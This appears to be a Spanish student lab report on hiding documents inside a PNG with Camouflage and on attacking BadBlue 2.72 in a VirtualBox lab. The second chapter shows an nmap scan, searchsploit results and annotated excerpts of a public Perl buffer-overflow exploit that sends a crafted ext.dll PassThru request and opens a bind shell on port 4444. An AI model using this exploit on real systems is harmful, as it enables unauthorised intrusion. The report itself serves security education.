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1. Introduccién

El presente informe aborda dos temas criticos en el campo de la Auditoria de Redes: la
ocultacién de informacién mediante esteganografia y la explotacion de vulnerabilidades en
servicios de red. Este trabajo tiene como objetivo documentar los procedimientos de laboratorio
para la implementacion y andlisis de estas técnicas, esenciales para comprender tanto los

métodos de proteccion de datos como las amenazas potenciales en un entorno informatico.

El Capitulo 1 se centra en el Camuflaje de archivos, utilizando el software Camouflage
para demostrar la técnica de esteganografia. Se detalla el proceso completo, desde la creacion de
un entorno de laboratorio con carpetas compartidas en VirtualBox hasta la instalacion del
software y la ocultacion de documentos confidenciales (Word y PDF) dentro de un archivo de

imagen PNG, asegurado con una contrasefia.

El Capitulo 2 documenta la instalacion y, la Explotacion de Badblue. Badblue Personal
Edition es un servidor web vulnerable que se utiliza cominmente en laboratorios de seguridad
para simular un objetivo real y demostrar cémo una vulnerabilidad puede ser aprovechada para

obtener acceso no autorizado a un sistema de red.

Este informe sirve como una guia préactica para entender las herramientas y metodologias
utilizadas por auditores de seguridad y profesionales para evaluar la robustez y los puntos débiles

de una infraestructura de red.



2. Objetivos
2.1 Objetivos generales

Documentar y demostrar la aplicacion practica de técnicas de seguridad y auditoria,
especificamente la esteganografia para la ocultacion de informacion sensible y la
explotacion de una vulnerabilidad de software (Badblue), en el contexto de un

laboratorio de Auditoria de Redes.
2.1.1 Obijetivos especificos

e Configurar adecuadamente el entorno de virtualizacion, incluyendo el
establecimiento de Carpetas Compartidas, para facilitar la transferencia y

gestion de archivos entre la maquina anfitriona y la maquina virtual.

e Instalar y utilizar el software Camouflage para aplicar la técnica de
esteganografia, logrando ocultar archivos secretos dentro de un archivo portador de

imagen, reforzando la proteccién con una contrasefia.

e Instalar el software vulnerable Badblue Personal Edition 2.72 en el entorno

de laboratorio.

e Ejecutar y documentar los pasos para la explotacion de la vulnerabilidad
presente en Badblue, evidenciando el riesgo que representan los fallos de

seguridad en los servicios de red, implicito en el titulo del Capitulo 2.



3. Capitulo 1

3.1 Crear carpeta en nuestra maquina principal

Nos dirigimos a decartgar y le damos click derecho le damos en nuevo y

selecionamos carpeta

Carpeta
Acceso directo Buscar en Descargas
Microsoft Access Database

Imagen de mapa de bits

Documento de Microsoft Word

Microsoft Access Database

Microsoft Project Document

Presentacion de Microsoft PowerPoint

Microsoft Publisher Document

Archivo WinRAR 55 Ver

Documento de texto T Ordenar por

Microsoft Visio Drawing i= Agrupar por

B E oD @8 &HBEDB N

Hoja de calculo de Microsoft Excel “)  Deshacer Eliminar Ctrl=7

== Archivo WinRAR ZIP (#) Nuevo

lustracion 1 CREAR CARPETA EN NUESTRA MAQUINA PRINCIPAL
Seguido de eso le dimos el nombre de doc-mv esto se hace para poder identificar la

carpeta.

Doc-MV 2/10/2025 %30 a. m. Carpeta de archivos

llustracion 2 ASIGNACION DE NOMBRE A LA CARPETA



3.2 Insertar imagen de cd

Para este paso nos hubicamos en la barra superior dentro de la maquina vitaul de
windows xp nos dirigimos al dispocitivos le damos cick derecho, luego nos uvicamos en

instar imagen de cd le damos click.

Archive  Magquina Ver Entrada Ayuda
® Unidades opticas

Audic

Red

UsB

Portapapeles compartido

Arrastrar y soltar

(g
=
o
[l Carpetas compartidas
Cl
E
&

Insertar imagen de CD de los complementos del invitado... I

lustracion 3 INSERTAR IMAGEN DE CD

Una ves escho eso nos dirigimos a la barra inferio le damos click en inicio sehguido

de esto se le da en Ml PC
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Fo= Internekt ) Mis docunentos
(a Internet Explorer

. 3 Documentos recientes »
= Correo electrdnico

Zakl L E =
HEE RS j} Mis inagenes

- - =
Simbolo del siskema < i masica
Reproduckor de wWindows g’ (=0 (HE l
Media
g’ FPanel de conkrol
-8

@, Configurar acceso
programas predeterminados

'.@ Paseo por Windows =P et Impresoras v Faxes

ﬂ Asiskenkte para kransFerencia - .
de archivos v configuracia. .. 9) Ayuda v soporke bScnico
Caonfigurar acceso )_) Buscar

programas predeterminados

57 J Eiecukar...

Todos los programas D

errar sesian

Y& Inicio

lustracién 4 MI PC

3.3 Ejecucion de archivo virtualbox guest additions

Al darle click en mi pc nos aparese lo siguiente donde podemos evidenciar que te
nemos un apartado de dispocitivos con almasenamiento extraible, bueno si no tamos nos
aprarese un archivo llamdo virtualbox guest Additions se quigo de la unidad D. a ese

archivo lo vamos a ejecutar dandole doble click sobre el archivo.



frchivo  Edicion Wer  Fawaoritos  Herramientas  Ayuda

—

\_/J \_‘_._)l Lﬁ j.j Buisqueda l{.- arpetas v
Direccidn | nj Mi PC V| Ir

Unidades de disco duro

l::;eﬂ Disca local (C:0)

Dispositivos con almacenamiento extraible

% WirtualBoyx Guest Additions (D

lustracion 5 EJECUCION DE ARCHIVO VIRTUALBOX GUEST ADDITIONS

Una ves inicie la ejecucion nos aperese el siguiente apartado en el cual le daremos

siguiente o ‘nex’

Oracle ¥irtualBox Guest Additions 7.1.12 Setup :“:[E
Welcome to Oracle VirtualBox Guest
Additions 7.1.12 Setup

Setup will guide wou through the installation of Cracle
YirtualBox Guest Additions 7.1.12,

It is recammended that vaou close all akher applications
before starking Setup. This will make it possible bo update
relevant svstem files without having to reboot ywour
compuker,

Click Mext ko conkinue,

l Mexk = 'l Cancel |




le daremos siguiente o ‘nex’

Oracle VirtualBox Guest Additions 7.1.12 Setup

Choose Install Location o
Chioose the Folder in which boinstall Oracle YirtualBox Guest additions 7.1,12. “:

Setup will inskall Oracle YirtualBox Guest Additions 7.1,12 in the Following Folder, Toinstall in a
different Folder, dlick Browse and select another folder. Click Mext to continue.

Deskination Folder

C:hArchivos de pragramaiOracleiVirkualBox Guest Additions | Browse, ..

Space required: 662.0 KB
Space available: 7.9 GBE

< Back I Mext = l Cancel

Aqui nos pregunta que si desamos intalarlo le damos en install



Oracle VirtualBox Guest Additions 7.1.12 Setup

Choose Components o
Choose which Features af Oracle VirtualBox Guest Additions 7.1.12 wou want ko Q’:
inskall.

Check the components vou want to install and uncheck the components vou don't want ko
inskall, Click Install to skart the installakion,

Select components ba install; Description

Direct30 Support (Experir
Skart menu enkries

< | B

Space required: 662.0 KB

Aqui debemos dale en finalizar esto nos reiniciara la maquina virtual

Completing Oracle VirtualBox Guest
Additions 7.1.12 Setup

wour compuker must be restarted in order to complete the
installation of Cracle virkualBox Guest Additions 7.1.12, Do
wou want to reboot nowve?

(#) Rebook now

(I want to manually rebook laker

llustracion 6 FINALICAR INSTALACION

Oracle VirtualBox Guest Additions 7.1.12 Setup E“: >



Luego de haberse finalizado la maquina virtual pasamos a darle click en
dispositivos una vez echo eso nos despliega un sub menu en el cual nos dirigimos a

carpetas compartidas.

idowsXP [Corriendo] - Oracle VirtualBox
o Magquina WVer Entrada Dispositives Ayuda

@ Unidades dpticas »
{8} Audio >
P Red b
£ use >
Lr:l Carpetas compartidas »
|j Portapapeles compartido »
@ Arrastrar y soltar r

f Insertar imagen de CD de los complementos del invitado...

lustracion 7 CARPETAS COMPARTIDAS

Estando en carpetas compartidas nos posicionamos y le daremos click a

preferencias de carpetas compartidas.

@ Unidades opticas L4

‘B Audio 4

@Y Red » e

& uss 4 -

D Carpetas compartidas » L) Preferencias de carpetas compartidas...
: . -

g Portapapeles compartido AdbeRdrSE‘L.\

lustracion 8 PREFERENCIAS DE CARPETAS COMPARTIDAS

Al ingresar nos muestra el siguiente apartado, nos ubicamos en la carpeta
compartida le damos en el signo mas seguido de esto buceamos la ruta de la carpeta que se
encuentra en la maquina principal del pc y luego de esto se le pone el nombre de la carpeta

tal cual se creo.
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£ WindowsXP - Settings = O x
Basic M Search settings £
Carpetas compartidas
E General
Mombre Ruta Acceso Automontar  En @
HH| Sistema - T
& Adadir carpeta compartida *
M| Fantalla
Ruta de carpeta: l Ci\Users..wnloads\Doc-MV I
AEnaceiianicuio Mombre de carpeta: lDoc—M‘u" ]
(D] Audio || Punto de montaje:
@ Fre] . [ Sélo lectura |
! [ Autormontar ‘
@ Biertoeieerie || [ Hacer permanente [Depu rar T Ayuda ™ ]
& USE Aceptar Cancelar "

- Carpetas compartidas ‘ Minibarra de herramientas: B Mostrar en pantalla completa/fluido

[C] Mostrar en la parte superior de la pantalla
Ifl Interfaz de usuario

@ EoHEBSSOBEED O

Aceptar Cancelar Ayuda

llustracion 9 RUTA DE LA CARPETA COMPARTIDA

Una vez hecho eso habilitamos los apartados de Automantar, hacer permanente

por altimo le damos aceptar.



{D WindowsXP - Settings

M General
Sistema

M| Pantaita
Almacenamiento
(cDJ Audio

Ml Red

£ Puertos serie
(7 uss

- Carpetas compartidas

Ifl Interfaz de usuario

11

= O X

Search settings &

Carpetas compartidas
Nombre Ruta Acceso Automontar En @
{E} Afiadir carpeta compartida x
Ruta de carpeta: ChUsers..wnloads\Doc-MV

Mombre de carpeta: Doc-MV

Punto de montaje:

D Sélo lectura

.
|_| (B Eeserocmancic) Depurar ¥ Ayuda ™ L)

Aceptar Cancelar

Minibarra de herramientas: B Mostrar en pantalla completa/fluide

[[J Mostrar en la parte superior de la pantalla

C GeHEFSOEEE O

Aceptar Cancelar Ayuda

lustracion 10 ACEPTAR TERMINOS

3.4 Instalacion de camouflage

Para continuar debemos instalar el software camuoflage le damos doble click sobre

la aplicacion y luego de esto le aparece el siguiente apartado dandonos la bienvenida, en el

apartado debemos de darle Next o Siguiente para continuar con la instalacion.
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Camouflage v1.2.1 Setup

Camorifloace

Welcome

‘“Wwelcome to the Camouflage Setup program. T his
program will inztall Camouflage on your computer.

It iz strangly recommended that you exit all Windows programs
befare running thiz Setup program.

Click Cancel to quit Setup and then close any programs yau
hawe running. Click Mext to continue with the Setup program.

WARMIMG: Thiz program is pratected by copyright lave and
international treaties.

Unauthorized reproduction or dizstribution of thiz program, or any

portion of it, may result in zevere civil and criminal penalties, and
will be prozecuted to the maximum extent pozsible under law.

I MNemt » I

llustracion 11 INSTALACION DE CAMOUFLAGE

21 Camouflage w1.2.1 Setup

Carmmorsflooes

Software License Agreement

Fleasze read the following License Agreement. Press the PAGE DOWHN key to ses
the reszt of the agreement.

Camouflage iz Freeware., vou are encouraged to freely use and distribute it provided that -
nio files are added or removed from the archive, and that all files contained within the il
archive are distributed together.

Al titles and copyrights in and ko Camouflage are owned excluzively by Twisted Pear
Froductions. “r'ou may not reverze engineer, decompile, dizazzemble or alter Camouflage
zoftveare in any way. =

T o the maximum extent permitted by applicable lave, in no event zhall the individual
author(z] or Twizted Pear Productions be liable for any special, incidental. indirect, or
conzequential damages whatzoewver [including. without limitation, damages= for lozsz of
buziness profits, business interruption.. loss of business information, or any other pecuniarny
lozz] arizing out of the usze aof ar inability to usze Camouflage ar the provizion of or failure ta
provide Support Services.

S

Do pou accept all the terms of the preceding Licenze Agreement? If you choose Mo, Setup
will cloge. To inztall Camouflage. you must accept thiz agreement.

< Back es Mo I

3.5 Seleccion de la Carpeta de Programa
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En el proceso de instalacion se le solicita al usuario que elija el nombre de la carpeta
para los accesos directos en el menu de Inicio de Windows. Para este caso el usuario acepta

el nombre por defecto, Camouflage, y procede haciendo clic en Next o Siguiente.

#1 Camouflage v1.2.1 Setup

Camornfloeo

Choose Destination Location

Setup will inztall Camouflage in the following folder.
To inztall to thiz folder, click Mext.

To install to a different folder, click Browse and zelect another
folder.

You can choose not ta install Camouflage by clicking Cancel to
exit Setup.

" Drestination Folder

C:\Archivos de programahCamouflage Browsze... |

¢ Back I Mesxt » I Cancel |

lustracion 12 Seleccion de la Carpeta de Programa

3.6 Confirmacién de Configuracion y Comienzo de Copia
Se revisa la configuracion actual de la instalacion, que incluye el Directorio de
Destino (C:\Archivos de programa\Camouflage). El usuario confirma que esta satisfecho

con los ajustes y hace clic en Next o Siguiente para iniciar la copia de los archivos del

programa.
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Select Program, Folder E|

Setup will add program iconz ta the Program Folder listed below,
"f'ou may twpe a new folder name, or select one from the exizting
Folderz list. Click Hest to continue.

Frogram Folders:

anie
Inicia
Juegoz
WideoLAM

¢ Back I et » I Cancel

lustracion 13 Confirmacién de Configuracion y Comienzo de Copia

3.7 Instalacion Finalizada

Durante el paso nos indica que debemos confirma que la instalacion de Camouflage

ha terminado. se hace clic en Finish para cerrar el asistente lo cual reiniciara la maquina.

Setup Complete

Setup hasz finizhed installing Camouflage on your computer.

Setup can launch the Read kMe file and Camouflage Settings.
Choosze the options pou wwant below.

v “res. | want to view the Read Me file now.

[ wes, | want to change Camouflage's Settings now.

Click. Finizh to complete Setup.

I Finizh I

llustracién 14 Instalacion Finalizada
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Durante este paso ldentificamos el peso del archivo en el que se camuflara.

Camouflage

This file will be hidden within your camouflaged file. Settings

I ame

Size | Attributez

Click here to get the |atest version l Hext l Cloze

llustracién 15 Archivo raiz

3.8 Definicion de Archivos Secretos

Aqui se utiliza la interfaz de Camouflage para seleccionar los archivos que seran
ocultados dentro del archivo portador. Se han elegido dos documentos: jwor.docx (12 KB) y

jwor.pdf (39 KB). Se pulsa ""Next™ (Siguiente) para elegir el disfraz.

Camouflage

Thesze files will be hidden within your camouflaged file. Settings

Size | Attributes

or.docs
| Jwwar. pdf F9 KB Iy

Click here to get the latest version l M ext > I | LCloze

lustracién 16 Definicion de Archivos Secretos

3.9 Seleccion del Archivo Portador (Disfraz)

Para este paso se realizo la exploracion de los archivos y se abre para que el usuario

elija un archivo (generalmente una imagen o audio) que actuard como contenedor. El
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usuario selecciona el archivo p2 e (un archivo PNG, como se vera después) ubicado en el

Escritorio. Se pulsa "Abrir".

Select file to use as camouflage

Buscar en: ] @ E scritorio L] & @ EF '
72 iBMis documentos & vlc-3.0,18-win32
4 4 MiPC
Documentos | €I Mis sitios de red
recientes B Adobe Reader 8 the following file.
7\"". lEE YLC media player

- ) UTCH-PRIVIL = @

Escritorio ER5.0_adberdra0_en_Us _‘”—I
Eavianca

J =3 BadBlue Personal Edition
Mis documentos Bbadblue-pe-2.72a
) camoutz1
— Einternet-explorer-B-Dara-xp-
\9}! jwc-r < Back | Next > I Close j
Mi PC jwor.docx

&1

Mis sitios de red  Nombre: Ip2 e L] Il Abrir .
Tipo: IAII Files LI Cancelar

lustracién 17 Seleccion del Archivo Portador (Disfraz)

3.10 Confirmacion del Contenedor de Camuflaje

Como se evidencia el programa confirma que la imagen seleccionada, C:\...\p2
e.png, sera utilizada como el archivo anfitrion o el resultado final. Se pulsa ("Next" o

Siguiente) para definir la seguridad.

Camouflage

'our camouflaged filez will be made to look and act like the following file.

Camouflage Uszing C:ADocurnents and S ettings\ NG -JAVIER\E zcrtoricbp2 e.pig jJ

Click_here to get the latest version

lustracion 18Confirmacion del Contenedor de Camuflaje

3.11 Aplicacion de Contrasefia de Seguridad
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Se ingresa y se verifica una contrasefa oculta por asteriscos para cifrar los archivos
ocultos. Esta contrasefia es esencial para la posterior extraccién segura de los documentos.

Se pulsa Finish para ejecutar el proceso de esteganografia.

Camouflage

Enter a zecurty paszword for your camouflaged file if you wizh,

EERETETY

Paszward

xxxxxxx>1

Werify Pazsword

Click here to get the latest version < Back Finizh Cloze

llustracion 19 Aplicacién de Contrasefia de Seguridad

3.12 Comparacion de Propiedades del Archivo

Una vez le di contrasefia al documento me muestra la comparacion lado a lado de
las Propiedades del archivo p2-e (Imagen PNG). La diferencia en el tamafio del archivo
(de 1.02 MB a 992 KB) verifica que el proceso de camuflaje ha alterado la estructura del

archivo PNG original para incrustar los datos secretos.



Propiedades de pZ-e
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Propiedades de p2 e

General | Resumen |

)

= |

Tipo de archiva:

Irnagen PNG

Tamafio en disco:

Se abre con: Wisor de imagenes v
Ubicacién: CiDocurnents and Settings!ING-JAVIER | Escritario
Tamafio: 1,02 MB (1,070,370 bytes)

1,02 MB (1,073,152 bytes)

Creado:
Modificado:

Ulkirno accesa:

juewes, 0Z de octubre de 2025, 10:21:20
sdbado, 16 de agosto de 2025, 11:11:23

jueves, 02 de octubre de 2025, 10:25:54

Atributos:

Sélo lectura [ Oculte

(Opciones avanzadas. ..

I, Acepkar J [Cancelar ] Aplicar

General | pesumnen |

)

e |

Tipo de archivo:

Imagen PNG

Tamafio en disco:

Se abre con: Yisar de imagenes v
Ubicacion: C\Documents and SettingstING-JAYIEREscritorio
Tamafio: 992 KB (1.016,709 bytes)

996 KE (1,019,904 bytes)

Creado:
Modificado:

Ultimo acceso:

jueves, 02 de octubre de 2025, 10:21:20
sabado, 16 de agosto de 2025, 11:11:23

jueves, 02 de octubre de 2025, 10:25:54

atributos:

[Jséla lectura [ oculka

Opciones avanzadas. ..

[ Aceptar ] [Cancelar Aplicar

lustracion 20 Comparacion de Propiedades del Archivo
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4. Capitulo 2
4.1 Instalacion De BadBlue

En el paso se muestra la pantalla de bienvenida del asistente de instalacion (setup
wizard) de BadBlue Personal Edition 2.72. Es una captura tipica de un instalador sobre una
interfaz grafica antigua (apariencia de Windows XP). El proposito de la imagen es
presentar al usuario la primera pantalla del instalador, con instrucciones breves y los

botones para Next o cancelar la instalacion. Le da en Next

€% BadBlue Personal Edition 2.72 Setup Bl=1.3

Welcome 1o the BadBlue Personal
Edition 2.72 Setup Wizard

This wizard will guide wou through the installation of BadElue
Personal Edition 2,72,

It is recommended that vou close all other applications
before starting Setup. This will make it possible to update
relevant system files without having to reboot wour
computer,

Click Mext to continue.

[ Mext = l [ Cancel

lHustracion 21 Instalacién

4.2 Seleccionar carpeta de instalacion

Este paso me indica la carpeta destino donde se instalara BadBlue (p. €j.
C:\Archivos de programa\BadBIlue\PE), asi como el espacio requerido y disponible. Accion

tipica: revisar/aceptar la ruta o cambiarla antes de continuar.
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€ BadBlue Personal Edition 2.72 Setup

5 ﬁ / Choosge Install Location
ok ”g Choose the folder in which to install BadBlue Personal Edition

2.7,

Setup will inskall BadBlue Persanal Edition 2,72 in the Following Falder, To install in a different
folder, click Browse and select anather Folder, Click Install ko start the installation,

Destination Folder

i1 Archivos de programalBadBlueiPE

Space required: 1.4MB
Space available: .0GE

[ < Back ” Instaill l [ Cancel

llustracion 22 Seleccionar carpeta de instalacion
4.3 Finalizacion del asistente de instalacion

Aqui se pude evidenciar que me arrojo un mensaje que confirma que BadBlue se
instalé correctamente y ofrece la opcion de ejecutarlo inmediatamente (casilla marcada).

Accion tipica: pulsar Finish para cerrar el instalador y, si se desea, arrancar la aplicacion.

€* BadBlue Personal Edition 2.72 Setup Hli=1{_3

Completing the BadBlue Personal
Edition 2.72 Setup Wizard

BadElue Personal Edition 2,72 has been installed on wour
compuker,

Click Finish to close this wizard,

Run BadBlue Personal Edition 2,72

[ Fimish ] [ Cancel ]

llustracién 23 Finalizacién del asistente de instalacion
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4.4 Inicio del instalador de Internet Explorer 8

Durante e proceses me mostro la pantalla introductoria del instalador de IE8 con
recomendaciones (guardar documentos, cerrar programas) y opcion sobre enviar datos de

uso. Accion: elegir si participar y avanzar al siguiente paso.

/= Instalar Windows Internet Explorer 8

( Windows Internet Explorer 8

Antes de empezar, se recomienda guardar los archivos y cerrar todos los programas.

Como Internet Explorer 8 actualizara archivos que posiblemente estén en uso, debe
reiniciar el equipo cuando finalice la instalacion. Esto garantiza que todos los archivos se
actualicen correctamente ¥ que la instalacion se complete.

O Deseo ayudar a mejorar Internet Explorer
Mo deseo participar en este momento
Obtener mas informacion

Cancelar

[HanA Flic anni nara iniciar b

lustracion 24 Inicio del instalador de Internet Explorer 8

4.5 Términos de la licencia (EULA) de Internet Explorer

Aqui me presento el texto del acuerdo de licencia para leer y aceptar; botones para

aceptar o no aceptar. Accion: revisar los términos y pulsar Acepto para continuar con la

instalacion.
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¢/~ Instalar Windows Internet Explorer B

(' Lea los terminos de la licencia.

TERMINGS COMPLENVMENTARIOS DE LA LICENCIA DE
SOFTWARE DE MICROSOFT

MICROSOFT WINDOWS INTERNET EXPLORER 8 PARA
MICROSOFT WINDOWS XP, WINDOWS VISTA, WINDOWS
SERVER. 20032 ¥ WINDOWS SERVER. 2008

Microsaft Corporation (o, en Funcidn del lugar en el que resida, una de sus filiales) le concede la
licencia para este complermnento. Si obtiene la licencia para utilizar el software Microsoft Windows
=P, Windows Vista, Windows Server 2003 o Windows Server 2008 (al que se aplica este
suplemento), en adelante el "Software”, podra utilizar este suplemento. Mo puede usarlo si no
disnnne de lirenria nara el snftware. Padré otilizar este cominlementn con cada conia walidamentes

[E Wersidn para imprimir [ Acepto ] [ Mo acepto ]
[Haga clic aqui para iniciarl_ i )
lHustracion 25 Términos de la licencia (EULA) de Internet Explorer

4.6 Progreso de la instalacion de Internet Explorer 8

Barra de progreso y lista de etapas (descargando, comprobando, instalando,
finalizando). Indica qué componentes se estan instalando. Accion: esperar a que termine y

no apagar la maquina.
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/= Instalar Windows Internet Explorer 8

7

-

Instalando Windows Internet Explorer 8...

F M- y g |
v Lescarganal

(%]

Instalando Internet Explorer 8

( LI )

Instalando componentes principales de Windows Internet Explorer...

Ilustracion 26 Progreso de la instalacion de Internet Explorer 8

4.7 Instalacion completada de Internet Explorer 8

Mensaje que indica que la instalacion finalizd y sugiere reiniciar el equipo para
aplicar actualizaciones; botones para reiniciar ahora o mas tarde. Accion recomendada:

reiniciar para completar la instalacion y asegurar que los cambios se apliquen.

~ Instalar Windows Internet Explorer 8

—

f La instalacidon de Internet Explorer se completo.

Internet Explorer se instald sin las ultimas acthualizaciones de Windows. Para instalarlas,
reinicie el equipo, abra Internet Explorer, haga clic en el botdn Herramientas y haga clic en
wWindows Update.

[Reiniciar ahora {(recomendado) ] [ Reiniciar mas adelante ]

llustracion 27 Instalacion completada de Internet Explorer 8
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4.8 Cuadro de registro / acuerdo de BadBlue

Formulario de registro que solicita informacion (nombre completo, correo) y
muestra el texto del acuerdo de licencia de BadBlue con botones Agree/Disagree. Accion:

introducir datos validos si se desea registrar y aceptar el acuerdo para usar el software.

Regiztration Information

Full narme: |ia\.-'ier moreno|

Email address: | javier@agrail. com

End Uzer Licenze Agreement for BadBlue Software

Entire Agreement.

“r'ou agree that this iz the entire agreement bebween pou and
WHIL which supersedes any prior agreement. whether written
or oral, and all other communications between WHI and pou

relating to the zubject matter of this Agreement.

Reszervation of rights.
All rights not expressly granted in thiz Agreement are rezerved

by wWRIL

| Agres I Dizagree

llustracion 28 Cuadro de registro / acuerdo de BadBlue

5. Explotar badblue
5.1 proceso y resultados del escaneo

Realicé un escaneo de red utilizando la herramienta Nmap con el comando nmap -
sV 197.168.2.0/24, el cual me permitio identificar los equipos activos dentro del rango de
direcciones IP 197.168.2.0 a 197.168.2.4 y conocer los servicios que estaban ejecutandose

en cada uno.
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/home/kali

p -sV 197.168.2.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-03 22:
Nmap scan report for 197.168.2.1
Host is up (0.0015s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
MAC Address: 52:55:C5:A8:02:01 (Unknown)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 197.168.2.2

Host is up (0.00038s latency).

All 1000 scanned ports on 197.168.2.2 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

MAC Address: 08:00:27:65:F9:69 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)

Nmap scan report for 197.168.2.3

Host is up (@.0015s latency).

Not shown: 995 closed tcp ports (reset)

PORT STATE SERVICE VERSION

80/tcp open http BadBlue httpd 2.7

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

3389/tcp open ms-wbt-server Microsoft Terminal Services

MAC Address: 08:00:27:2E:C9:8D (PCS Systemtechnik/Oracle VirtualBox virtual N
1C)

Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o
:microsoft:windows xp

Nmap scan report for 197.168.2.4

Host is up (0.0000050s latency).

All 1000 scanned ports on 197.168.2.4 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

lustracion 29 proceso y resultados del escaneo

5.2 Andlisis de vulnerabilidades del servicio BadBlue

Después de identificar en el escaneo de red que el equipo con direccion IP
197.168.2.3 ejecutaba el servicio BadBlue httpd 2.7, procedi a buscar posibles
vulnerabilidades asociadas a este software utilizando el comando: SEARCHSPLOIT

BADBLUE El resultado arrojé multiples exploits disponibles en la base de datos de
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Exploit-DB, lo que confirma que BadBlue es un servidor web con numerosas

vulnerabilidades conocidas, especialmente en sus versiones 2.5 a 2.7.

/home/kali

1t badblue

Exploit Title

Working
Working
Working
Working
Working
Working
Working
Working
Working
Working
Working
Working
Working
Working
Working

Shellcodes:

.72 - PassThru

GO S T ST S S N ]

Resources 1.7.3
Resources 1.7.x

Resources 1.7.x/2.

Resources
Resources
Resources
Resources
Resources
Resources
Resources
Resources
Resources
Resources
Resources
Resources

No Results

(%]

e A el e

Se

/home/kali

SR T, I I ]
. . ~ s
W~

- =~
< lad

-

X

.55 - MFCISAPICommand
55 - MFCISAPICommand
rver

.5 - 'ext.dll' Remote Buffer Overflow (Metasploi
.5 - Easy File Sharing Remote Buffer Overflow
.52 Web Server - Multiple Connections Denial of
.55 - Web Server Remote Buffer Overflow

Remote Buffer Overflow

.72b - Multiple Vulnerabilities

.72b - PassThru Buffer

Overflow (Metasploit)

- Null Byte File Disclosu

- Administrative Interfac
- 'ext.dll' Command

- Denial of Service

- Full Path Disclosure

.6 - Directory Traversal

'ext.dll’ Cross-Site Scri
- Search Page Cross-Site
‘cleanSearchString()' C
- GET Denial of Service
X - Unauthorized HTS Ac
X - Unauthorized Proxy
Remote B
Remote B

2.40 - 'PHPtest.php’ Ful

windows/remote/16761.rb
windows/remote/845.c
windows/dos/419.pl
windows/remote/847.cpp
windows/remote/4784.pl
windows/remote/4715.txt
windows/remote/16806.rb
windows/remote/21616.txt
windows/remote
windows/remote
windows/dos/20641.txt
windows/remote/20640.txt
windows/remote/21303.txt
windows/remote/21576.txt
cgi/webapps/22045. txt
windows/remote/21599.txt
windows/dos/21600.txt
windows/remote 620.txt
windows/remote
windows/remote
windows/remote/25167.c
php/webapps/23753. txt

llustracion 30 Analisis de vulnerabilidades del servicio BadBlue

Seguido de esto ejecute el siguiente comando como root en la ruta /home/kali: cp

/usr/share/exploitdb/exploits/windows/remote/4784.pl .

Este comando lo emplee para copiar el archivo 4784.pl —ubicado en la coleccion

local de Exploit-DB en /usr/share/exploitdb/exploits/windows/remote/— al directorio

actual (. indica el directorio de trabajo en ese momento). El prefijo del prompt (root@kali)

confirma que la operacion se hizo con privilegios administrativos.
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/home/kali
“p fusr/share/exploitdb/exploits/windows/remote/4784.pl .

Jhome/kali

llustracion 31 Copié el exploit relacionado con BadBlue

Abri el archivo 4784.pl en mi directorio de trabajo y realicé un analisis estatico del
contenido sin ejecutarlo. El archivo es un script en Perl (se aprecia la linea shebang
#!/usr/bin/perl -w) y contiene metadatos y referencias Utiles en sus comentarios superiores:
enlaces a advisories y al CVE asociado (CVE-2007-6379), asi como la nota de que el
exploit apunta a un stack overflow en BadBlue 2.72. También hay créditos al autor y la

fecha de creacion.



Session Actions Edit

use I0::Socket;

(! ($ARGV[1]))

: badblue

Read File

Write Out
“R

4784.pl

h.pl <victim

NC=seh LPORT=4444 S

B Where Is jl Cut @l Execute
Replace il Paste @ Justify

28

f§ Location
Wi Go To Line

Abriy revisé el fragmento final del script 4784.pl en nano. El archivo es un exploit

en Perl que realiza lo siguiente (resumido en primera persona):

Inicializo la conexién con la victima usando 10::Socket::INET, tomando como

parametros la IP y el puerto desde @ARGV ($ARGV[0] y $ARGV[1]).

Construyo varios bloques de buffer para el desbordamiento:

$pad0 y $pad contienen bytes \x41 repetidos (padding) para rellenar el espacio hasta

el punto de control.
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el exploit esta disefiado para sobrescribir SEH en ext.d11 (BadBlue) y redirigir la
ejecucion hacia un payload tipo bind shell que escucha en el puerto 4444. Todo esta

ensamblado y listo para enviarse a la victima usando la sintaxis indicada por el script.

Precauciones tomadas: revisé el codigo de manera estatica y no ejecuté el exploit.
Mantengo este analisis en un entorno de laboratorio controlado y lo documento solo como

evidencia técnica del riesgo.

GNU nano 8.6 4784.p1

$victim = I0::Socket :: INET—»new(Proto="'tcp’,
PeerAddr=$ARGV[O],
PeerPort=$ARGV[1])
"can't connect to [0] on port $

(t.dll

cisapicommand=Pass . $padd . $shellcode . $pad . $jmp . $sef

" + Malicious GET request sent

(1);

# milw@rm.com [2007-12-24]

e Help i Write Out [l§ Where Is 4 Cut Bl Execute )8 Location
B Exit B Read File Y Replace @il Paste B8 Justify Wi Go To Line

BoOowEFsmETS &0 R DERECHA
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Primero revisé el exploit disponible publicamente. En la captura se aprecia el
contenido de un script de explotacion (formato Perl) que construye una peticion maliciosa
dirigida al endpoint vulnerable del servicio BadBlue. Analice la estructura general del
script para entender: como se construye la peticién maliciosa, qué partes actian como
relleno/padding, y cual es el comportamiento esperado una vez que el buffer se sobrescribe
(especificando que mi andlisis fue de caracter tedrico/forense para evitar replicar codigo

peligroso fuera del laboratorio).

Session Actions Edit View Help

$victim = I0::Socket:: INET—new(Proto= "tcp',
PeerAddr=$ARGV[0],
PeerPort=$ARGV[1])
or die "can't connect to $ARGV[@] on port $ARGV[1]";

"; # pop ebx pop ecx ret in ext.dll

$longjmp
$padl = "
$pad2 = "

$exploit = "GET /ext.dl1?mfcisapicommand=PassThru&". $pad® . $shellcode . $pad . $jmp
. $padl .$longjmp . $pad2. "HTTP/1.0@"."\r\n\r\n";

print $victim $exploit;

print " + Malicious GET request sent ...\n";
sleep(1);

print "Done.\n";

close($victim);

$host = $ARGV[O];

print " + Connect on port 4444 of $host
sleep(2);

system("telnet $host 4444");
exit;

/home/kali

lHustracion 32 Inspeccion del exploit
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Usé un buscador de exploits local (repositorio de exploits) para localizar el exploit
correspondiente a BadBlue 2.72. Confirmé la identificacion del exploit, su referencia en la
base publica y la ruta local donde se encontraba copiado para su andlisis. Esta etapa
